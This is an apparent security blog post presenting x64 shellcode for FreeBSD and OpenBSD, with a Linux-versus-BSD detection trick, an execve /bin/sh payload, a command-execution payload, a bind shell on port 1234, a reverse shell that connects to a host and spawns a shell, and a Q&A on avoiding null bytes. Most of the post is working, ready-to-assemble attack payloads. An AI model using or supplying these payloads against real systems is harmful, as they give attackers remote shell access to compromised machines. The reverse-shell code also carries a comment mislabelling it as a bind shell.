Introduction
These are mostly the same as codes for x64 Linux with the main difference being system call numbers. I’ve also noticed that BSD tends to be less forgiving with parameters (at least for some functions). Initially, I couldn’t get execve() to work with NULL argv and NULL envp which works fine on Linux.
Well, it turns out the BSD kernel doesn’t like NULL argv and simply returns EFAULT (Bad Address) so you need to supply it. Apart from this, they’re almost identical and you probably could detect the difference between BSD and Linux kernels before executing the appropriate code.
Detection between Linux and BSD
Since you might be wondering how to do that..
One thing we know is that system calls on BSD trash specific registers whereas Linux saves them. That’s one way of checking..
But perhaps a more reliable method I found was used by Z0MBiE/29a in shellcode of his from 2002. He attempts to close an invalid handle/descriptor and depending on the error executes BSD or Linux code and this is probably the best approach.
; detect if linux/freebsd pusha push byte 6 ; FN: linux/freebsd: EAX=6=close() pop eax xor ebx, ebx dec ebx push ebx ; PARAM: EBX=handle=-1 push esp int 80h ; PARAMS: handle pop ecx pop ecx or eax, eax ; linux: EAX=-9 freebsd: EAX=9=EBADF popa jl short __linux ; jl == jmp if linux 😉
sys_close() with invalid handle/descriptor returns number greater than zero on BSD but on Linux returns number less than zero.
So the above example works on x86 (in 2002) and the following will work for x64.
; detection of bsd/linux push -1 ; invalid file descriptor pop rdi push 6 ; sys_close pop rax syscall test eax, eax ; BSD returns rax>0 jl linux ; Linux returns rax<0 ; execute bsd code here
I’m not demonstrating the mixture of Linux and BSD shellcode here today but that might be useful for somebody else to know. What follows are the x64 shellcodes for openbsd/freebsd.
Execute /bin/sh
Because sys_execve call is 59 on all 3 systems, this works with BSD and Linux.
; 24 byte execve("/bin//sh", {"/bin//sh", NULL}, 0); ; x64 versions of freebsd + openbsd + linux ; odzhan bits 64 push 59 pop rax cdq ; rdx=envp=0 mov rbx, '/bin//sh' push rdx ; 0 push rbx ; "/bin//sh" push rsp pop rdi ; rdi="/bin//sh", 0 ; --------- push rdx ; argv[1]=NULL push rdi ; argv[0]="/bin//sh", 0 push rsp pop rsi ; rsi=argv ; --------- syscall
Execute a command
; 39 byte execve("/bin//sh", {"/bin//sh", "-c", cmd, NULL}, 0); ; x64 versions of freebsd + openbsd + linux ; odzhan bits 64 start64: push 59 pop rax ; rax=sys_execve cdq ; rdx=penv=0 mov rbx, '/bin//sh' push rdx ; 0 push rbx ; "/bin//sh" push rsp pop rdi ; rdi="/bin//sh", 0 ; --------- push rdx ; 0 push word '-c' push rsp pop rbx ; rbx="-c", 0 push rdx ; argv[3]=NULL jmp l_cmd64 r_cmd64: ; argv[2]=cmd push rbx ; argv[1]="-c" push rdi ; argv[0]="/bin//sh" push rsp pop rsi ; rsi=argv syscall l_cmd64: call r_cmd64 ; put your command here followed by null terminator
Bind Shell
; 73 byte bind shell ; x64 versions of freebsd + openbsd ; odzhan bits 64 ; step 1, create a socket ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP); push 97 pop rax ; rax = sys_socket push 1 pop rsi ; rsi = SOCK_STREAM push 2 pop rdi ; rdi = AF_INET cdq ; rdx = IPPROTO_IP syscall xchg eax, edi ; edi = s ; step 2, bind to port 1234 ; bind(s, {AF_INET,1234,INADDR_ANY}, 16) mov ebx, 0xD204FF02 ; inc bh push rbx push rsp pop rsi ; rsi = &sa mov dl, 16 ; rdx = sizeof(sa) mov al, 104 ; rax = sys_bind syscall ; step 3, listen ; listen(s, 0); push rax pop rsi mov al, 106 ; rax = sys_listen syscall ; step 4, accept connections ; accept(s, 0, 0); mov al, 30 ; rax = sys_accept syscall xchg eax, edi ; edi = r, eax = 2 xchg eax, esi ; esi = 2, eax = 0 ; step 5, assign socket handle to stdin,stdout,stderr ; dup2 (r, STDIN_FILENO) ; dup2 (r, STDOUT_FILENO) ; dup2 (r, STDERR_FILENO) dup_loop64: mov al, 90 ; rax = sys_dup2 syscall sub esi, 1 jns dup_loop64 ; jump if not signed ; step 6, execute /bin/sh ; execve("/bin//sh", {"/bin//sh", NULL}, NULL); cdq ; rdx = 0 mov rbx, '/bin//sh' push rdx ; 0 push rbx ; "/bin//sh" push rsp pop rdi ; "/bin//sh", 0 ; --------- push rdx ; argv[1] = NULL push rdi ; argv[0] = "/bin//sh", 0 push rsp pop rsi ; rsi = argv ; --------- mov al, 59 ; rax = sys_execve syscall
Reverse Shell
; 68 byte bind shell ; x64 versions of freebsd + openbsd ; odzhan bits 64 mov rax, ~0x0100007fd2040200 not rax push rax push rsp ; step 1, create a socket ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP); push 97 pop rax ; rax = sys_socket push 1 pop rsi ; rsi = SOCK_STREAM push 2 pop rdi ; rdi = AF_INET cdq ; rdx = IPPROTO_IP syscall xchg eax, edi ; edi = s xchg eax, esi ; esi = 2 ; step 2, assign socket handle to stdin,stdout,stderr ; dup2 (s, STDIN_FILENO) ; dup2 (s, STDOUT_FILENO) ; dup2 (s, STDERR_FILENO) dup_loop64: mov al, 90 ; rax = sys_dup2 syscall sub esi, 1 jns dup_loop64 ; jump if not signed ; step 3, connect to remote host ; connect (s, &sa, sizeof(sa)); pop rsi ; rsi = &sa mov dl, 16 ; rdx = sizeof(sa) mov al, 98 ; rax = sys_connect syscall ; step 4, execute /bin/sh ; execve("/bin//sh", {"/bin//sh", NULL}, NULL); cdq ; rdx = 0 mov rbx, '/bin//sh' ; push rdx ; 0 push rbx ; "/bin//sh" push rsp pop rdi ; "/bin//sh", 0 ; --------- push rdx ; argv[1] = NULL push rdi ; argv[0] = "/bin//sh", 0 push rsp pop rsi ; rsi = argv ; --------- mov al, 59 ; rax = sys_execve syscall
Sources
Check out bsd folder. The only code there compatible with linux would be sh64.asm
Q & A
Why not save bytes by MOV’ing immediate values into RSI, RDI etc. for SYSCALL rather than PUSH’ing them on the stack and POP’ing them into registers for SYSCALL?
The goal of writing codes like this is to 1) Minimize size and 2) Avoid using null bytes where ever possible.
If the immediate value is short form (between -128 and +128) the PUSH opcode is only 2 bytes. The POP is 1.
The same is true for direct/conditional jumps and calls or addressing variables on stack.
So when RDI needs set to AF_INET(2) and RSI set to SOCK_STREAM(1) for the sys_socket call, here are some ways you could do it using MOV.
Using lower 8 bit registers which doesn’t zero out the upper 56-bits. (6 bytes)
// /* 0000 */ "\x40\xb7\x02" /* mov dil, 0x2 */ /* 0003 */ "\x40\xb6\x01" /* mov sil, 0x1 */
Using 32-bit registers which does clear upper 32-bit bits but takes 10 bytes and contains nulls.
// /* 0000 */ "\xbf\x02\x00\x00\x00" /* mov edi, 0x2 */ /* 0005 */ "\xbe\x01\x00\x00\x00" /* mov esi, 0x1 */
Using 64-bit registers which is 14 bytes and contains nulls.
// /* 0000 */ "\x48\xc7\xc7\x02\x00\x00\x00" /* mov rdi, 0x2 */ /* 0007 */ "\x48\xc7\xc6\x01\x00\x00\x00" /* mov rsi, 0x1 */
Using the PUSH/POP method because we know immediate values are short form.
This also zeros out upper 56-bits and doesn’t contain null bytes and only 6 bytes.
// /* 0000 */ "\x6a\x02" /* push 0x2 */ /* 0002 */ "\x5f" /* pop rdi */ /* 0003 */ "\x6a\x01" /* push 0x1 */ /* 0005 */ "\x5e" /* pop rsi */
It is also acceptable 32-bit code (should it be needed)
// /* 0000 */ "\x6a\x02" /* push 0x2 */ /* 0002 */ "\x5f" /* pop edi */ /* 0003 */ "\x6a\x01" /* push 0x1 */ /* 0005 */ "\x5e" /* pop esi */
There are obviously other ways to do this but they all result in being larger than a PUSH/POP combination.
Sick info, good job.Check it out if you have some free time,
http://www.chokepoint.net/2013/09/building-multiplatform-shellcode-header.html?showComment=1456359372049#c6468144471719912334
LikeLiked by 1 person
Was just looking into something like this other day and thought FS might be best way to detect between 2 but don’t know enough about Linux yet to say for sure. Good info though, thanks for that.
LikeLike